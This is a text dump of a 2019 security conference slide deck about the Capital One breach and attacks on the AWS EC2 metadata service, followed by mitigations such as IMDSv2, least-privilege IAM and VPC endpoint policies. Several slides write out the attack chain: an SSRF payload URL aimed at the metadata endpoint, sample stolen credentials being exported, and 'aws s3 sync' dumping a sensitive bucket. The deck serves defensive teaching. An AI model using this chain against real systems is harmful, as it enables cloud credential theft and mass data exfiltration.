Cloud Security: Attacking The Metadata Service v2

2. © 2019 Puma Security, LLC | All Rights Reserved Principal Security Engineer, Puma Security Coder Static analysis engine, cloud automation, security tools Security Assessments DevSecOps, cloud, source code, web apps, mobile apps Principal Instructor DevSecOps Curriculum Manager SANS Principal Instructor Contributing author of SEC540, DEV544, and DEV531 Education and Training Iowa State M.S. Information Assurance, B.S. Computer Engineering AWS Certified Developer CISSP, GSSP, GWAPT Contact Information eric.johnson@pumascan.com Twitter: @emjohn20 LinkedIn: linkedin.com/in/ eric-m-johnson @ $WHOAMI

5. © 2019 Puma Security, LLC | All Rights Reserved SORRY, THE LAWYERS MADE ME DO IT 0 03 LEGAL DISCLAIMER ● I do not work for Capital One ● I have never worked for Capital One ● Information found in this presentation is based on publicly available resources

6. © 2019 Puma Security, LLC | All Rights Reserved BREAKING NEWS On July 29, 2019, Capital One announced a data breach affecting resources hosted in AWS: • 106 million credit card applicants • 140,000 credit card holder social security numbers • 80,000 credit card linked bank account numbers • https://www.capitalone.com/facts2019/

8. © 2019 Puma Security, LLC | All Rights Reserved ARREST AFFIDAVIT Paige Thompson arrest affidavit reveals the story - March 22, 2019 • Recon: IAM role ****-WAF-Role runs the list-buckets command • Exfiltration: IAM role ****WAF-Role runs the sync command

9. © 2019 Puma Security, LLC | All Rights Reserved ARREST AFFIDAVIT CONTINUED • Thompson hid her identity during the attack using Tor and IPredator (VPN) • A Slack conversation revealed that she admitted to dumping data • Data published to a public GitHub Gist July 17, 2019 user reported Gist to Capital One’s responsible disclosure inbox

13. © 2019 Puma Security, LLC | All Rights Reserved WEB APPLICATION FIREWALL FAIL • The affidavit made it very clear an instance running a firewall was involved • Remember me? IAM role ****-WAF-Role • AWS WAF ruled out based on the fact it doesn’t run under an IAM role • August 2nd: Krebs report calls out Apache and ModSecurity • https://bit.ly/2T7cQNW

14. © 2019 Puma Security, LLC | All Rights Reserved EXACT MISCONFIGURATION UNKNOWN Speculation continues…maybe a combination of Apache, ModSecurity and ModProxy? https://twitter.com/ChrFolini/status/1157533808402620416

15. © 2019 Puma Security, LLC | All Rights Reserved SSRF | THE REMOTE CODE EXECUTION OF THE CLOUD Server-side Request Forgery vulnerabilities occur when an application requests data from another URL that is supplied from an untrusted location, including: ● Request parameters ● Web services ● Backend systems 1 2 3 4 5 6 7 public async IActionResult Get(string target) { var client = new HttpClient(); var request = client.GetAsync(target); var json = await result.Content.ReadAsStringAsync(); return JsonConvert.DeserializeObject<GetResult>(json); }

16. © 2019 Puma Security, LLC | All Rights Reserved SSRF | EXPECTED USAGE Normal forward (proxy) request to an internal system: 1 2 3 4 5 { "id": "12682", "firstname": "eric", "company": "Puma Security" "id": "54247", "firstname": "scott", "company": "Puma Security" "id": "84824", "firstname": "matthew", "company": "Puma Security" } https://awesomeapp.com/forward?target=https://awesomeapp.com/api/users/ Normal response:

19. © 2019 Puma Security, LLC | All Rights Reserved EC2 INSTANCE PROFILE ROLES Instance profiles allow EC2 instances to attach to an IAM role on creation: • Automatically provisions temporary access keys on the instance for calling other AWS services (S3, KMS, etc) • Avoids hardcoding/storing access keys in code running on the instance • Temporary access keys are requested from STS and automatically rotated

20. © 2019 Puma Security, LLC | All Rights Reserved IAM PROFILE ROLE | WIDE OPEN S3 PERMISSIONS CloudFormation code defining the WAF role S3 permissions: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 AwesomeWafRole: Type: AWS::IAM::Role Properties: RoleName: "Awesome-WAF-Role" Policies: - PolicyName: "Awesome-WAF-Policy" PolicyDocument: Version: 2012-10-17 Statement: - Effect: "Allow" Actions: - "s3:List*" - "s3:Get*" Resource: "*"

21. © 2019 Puma Security, LLC | All Rights Reserved PROGRAMITICALLY ACCESSING METADATA Requesting EC2 metadata endpoint using curl: curl http://169.254.169.254/latest/meta-data/ Response: 1 2 3 4 5 6 7 8 9 10 ami-id ami-launch-index ami-manifest-path block-device-mapping/ events/ hostname iam/ identity-credentials/ instance-action instance-id

22. © 2019 Puma Security, LLC | All Rights Reserved SSRF PAYLOAD Going from SSRF to RCE using the EC2 metadata endpoint: https://awesomeapp.com/forward?target=http://169.254.169.254/latest /meta-data/iam/security-credentials/Awesome-WAF-Role/ SSRF Response: 1 2 3 4 5 6 7 8 9 { "Code" : "Success", "LastUpdated" : "2019-07-31T23:08:10Z", "Type" : "AWS-HMAC", "AccessKeyId" : "ASIA54BL6PJR37YOEP67", "SecretAccessKey" : "OiAjgcjm1oi2xxxxxxxxOEXkhOMhCOtJMP2", "Token" : "AgoJb3JpZ2luX2VjEDU86Rcfd/34E4rtgk8iKuTqwrRfOppiMnv", "Expiration" : "2019-08-01T05:20:30Z" }

23. COMMIT (CI) Organization Infrastructure EC2 Virtual Machine S3 EC2 Metadata AWS Services IAM 1 Attacker ATTACKER STEALING CREDENTIALS VIA SSRF 3 4 2

25. © 2019 Puma Security, LLC | All Rights Reserved EXFILTRATE | SET ACCESS KEYS 1 2 3 $ export AWS_ACCESS_KEY_ID=ASIA54BL6PJR37YOEP67 $ export AWS_SECRET_ACCESS_KEY=OiAjgcjm1oi2xxxxxxxxOEXkhOMhCOtJMP2 $ export AWS_SESSION_TOKEN=AgoJb3JpZ2luX2VjEDU86Rcfd/34E4rtgk8iKuTqwrRfOppiMnv On the attacker controlled machine, export AWS CLI environment variables: • Access key • Secret key • Session token

26. © 2019 Puma Security, LLC | All Rights Reserved EXFILTRATE | LIST ACCESSIBLE BUCKETS 1 2 3 4 5 6 $ aws s3api list-buckets { "CreationDate": "2019-09-07T23:12:29.000Z", "Name": "credit-card-applicants" }, AWS CLI command to list buckets:

27. © 2019 Puma Security, LLC | All Rights Reserved EXFILTRATE | LIST ACCESSIBLE BUCKETS IN TARGET BUCKET 1 2 3 4 5 6 7 8 9 10 11 12 13 $ aws s3api list-objects --bucket credit-card-applicants "Contents": [ { "Key": "w2/", "LastModified": "2019-09-07T03:00:34.000Z", "ETag": ""d41d8cd98f00b204e9800998ecf8427e"", "Size": 0, "StorageClass": "STANDARD", "Owner": { "ID": "86aa0cef762dce02cb5019cf7" } }, … AWS CLI command to list objects in a given bucket:

28. © 2019 Puma Security, LLC | All Rights Reserved EXFILTRATE | DUMP DATA FROM TARGET BUCKET $ aws s3 sync s3://credit-card-applicants ~/Downloads/dump download: s3://credit-card-applicants/w2/1/2017-w2.pdf to w2/1/2017-w2.pdf download: s3://credit-card-applicants/w2/3/2017-w2.pdf to w2/3/2017-w2.pdf download: s3://credit-card-applicants/w2/1/2018-w2.pdf to w2/1/2018-w2.pdf download: s3://credit-card-applicants/w2/4/2017-w2.pdf to w2/4/2017-w2.pdf download: s3://credit-card-applicants/w2/3/2018-w2.pdf to w2/3/2018-w2.pdf download: s3://credit-card-applicants/w2/2/2018-w2.pdf to w2/2/2018-w2.pdf download: s3://credit-card-applicants/w2/4/2018-w2.pdf to w2/4/2018-w2.pdf download: s3://credit-card-applicants/w2/2/2017-w2.pdf to w2/2/2017-w2.pdf AWS CLI command to sync data from a bucket to a local disk: 1 2 3 4 5 6 7 8 9

32. © 2019 Puma Security, LLC | All Rights Reserved METADATA SERVICE ENHANCEMENT REQUEST #2 August 28th, 2018: Scott Piper, Summit Route Security Consultant, requested metadata service security enhancements:

33. © 2019 Puma Security, LLC | All Rights Reserved METADATA SERVICE ENHANCEMENT REQUEST #3 Nov 28th, 2018: Netflix blog post regarding metadata credential theft and hardening techniques: https://bit.ly/2lYo3nJ

34. © 2019 Puma Security, LLC | All Rights Reserved MITIGATING CONTROL #0 | AWS IMDS V1 WEAKNESSES August 1st, 2019: AWS should (and probably will given the high publicity surrounding this breach) make the following enhancements to better protect the metadata endpoint: 1. Follow the pattern used by Azure and Google Cloud Platform 2. Reject requests without a custom header 3. Automatically deny requests signed with the metadata credentials originating from a different resource / source IP address 1 2 Metadata-Flavor: Google Metadata: true

35. © 2019 Puma Security, LLC | All Rights Reserved MITIGATING CONTROL #0 | AWS IMDS V2 November 19th, 2019: AWS releases major enhancement to the EC2 Instance Metadata Service (IMDSv2): 1. Retrieve session token from the metadata service token endpoint (PUT request) 2. Set the X-aws-ec2-metadata-token on subsequent IMDSv2 requests: 1 2 3 TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X- aws-ec2-metadata-token-ttl-seconds: 21600"` 1 2 curl http://169.254.169.254/latest/metadata/profile -H "X-aws-ec2-metadata-token: $TOKEN"

36. © 2019 Puma Security, LLC | All Rights Reserved MITIGATING CONTROL #0 | AWS IMDS V2 PROTECTIONS IMDSv2 provides defense in depth protection for several attack scenarios: 1. Open Web Application Firewalls • Analysis of third-party WAF open misconfigurations rarely support HTTP PUT requests 2. Open Reverse Proxies • IMDSv2 blocks requests containing the X-Forwarded-For header 3. Server-side Request Forgery (SSRF) • Standard SSRF vulnerabilities shouldn't allow an attacker to submit a PUT request and control the X-aws-ec2-metadata-token-* headers 3. Metadata Token Exfiltration Protection • TTL on packets containing the IMDS tokens defaults to 1. Hardware and software handling packets reduce TTL to 0 before packet leaves an EC2 instance.

37. © 2019 Puma Security, LLC | All Rights Reserved CUSTOMER MANAGED MITIGATING CONTROLS Cloud security controls falling on the customer's side of the responsibility model: 1. Fix the SSRF vulnerability 2. Least privilege IAM roles 3. Configure VPC Endpoints 4. VPC Endpoint IAM 5. Monitoring API anomalies

38. © 2019 Puma Security, LLC | All Rights Reserved MITIGATING CONTROL #1 | INPUT VALIDATION 1 2 3 4 5 6 7 8 9 10 11 12 13 public async IActionResult Get(Guid urlId) { //Pull valid endpoints from the configuration file List<Endpoint> endpoints = GetEndpoints(); //Verify the endpoint exists Endpoint e = endpoints.FirstOrDefault(i => i.Id == urlId); if (e == null) throw new ArgumentException("Invalid endpoint id."); var client = new HttpClient(); var request = client.GetAsync(e.Url); var json = await result.Content.ReadAsStringAsync(); return JsonConvert.DeserializeObject<GetResult>(json); } Validate incoming URL parameter for a valid domain: Validate the data!

39. © 2019 Puma Security, LLC | All Rights Reserved MITIGATING CONTROL #2 | LEAST PRIVILEGE IAM POLICY 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Policies: - PolicyName: "Awesome-WAF-Policy" PolicyDocument: Version: 2012-10-17 Statement: - Effect: "Allow" Action: - "s3:ListBucket" Resource: - "arn:aws:s3:::waf-logging-bucket" - Effect: "Allow" Action: - "s3:PutObject" Resource: - " arn:aws:s3:::waf-logging-bucket/*" Locking down the WAF IAM instance profile policy:

40. © 2019 Puma Security, LLC | All Rights Reserved MITIGATING CONTOROL #3 | VPC S3 ENDPOINT VPC Endpoints • Enables VPC resources to call AWS APIs without going over the Internet • Resources connect to a private endpoint directly from the VPC

41. © 2019 Puma Security, LLC | All Rights Reserved MITIGATING CONTROL #4 | VPC ENDPOINT POLICY 1 2 3 4 5 6 7 8 9 10 11 Statement: … - Effect: "Deny" Action: "*" Principal: "*" Resource: - "arn:aws:s3:::credit-card-applicants" Condition: StringNotEquals: aws:sourceVpc: - "vpc-111bbb22" Protecting the credit card applicant's bucket using a VPC endpoint bucket policy:

42. © 2019 Puma Security, LLC | All Rights Reserved MITIGATING CONTROL #5 | IAM CREDENTIAL MONITORING CloudTrail logs provide data to correlate instance profile requests with the IP address in the VPC:

43. © 2019 Puma Security, LLC | All Rights Reserved MITIGATING CONTROL #5 | EXTERNAL TOOLS Monitor and alert on requests to the EC2 metadata endpoint: • Canary: https://help.canary.tools/help/the-what-why- how-of-apeeper • Cloud Trail Anomaly: https://github.com/Netflix- Skunkworks/cloudtrail-anomaly

44. COMMIT (CI) Organization Infrastructure EC2 Virtual Machine S3 EC2 Metadata AWS Services IAM Attacker HARDENED WORKFLOW Application User

45. © 2019 Puma Security, LLC | All Rights Reserved Cloud Security: Attacking The Metadata Service Contact: eric.johnson@pumasecurity.io SUMMARY @emjohn20 • EC2 instance profiles • AWS data exfiltration • Protecting instance metadata • Restricting IAM policies • Configuring VPC endpoint policies • Detecting credential compromise

Cloud Security: Attacking The Metadata Service v2

Du liest eine Vorschau.

Hier ansehen

Cloud Security: Attacking The Metadata Service v2

Weitere Verwandte Inhalte

Diashows für Sie (20)

Ähnlich wie Cloud Security: Attacking The Metadata Service v2 (20)

Weitere von Puma Security, LLC (10)

Aktuellste (20)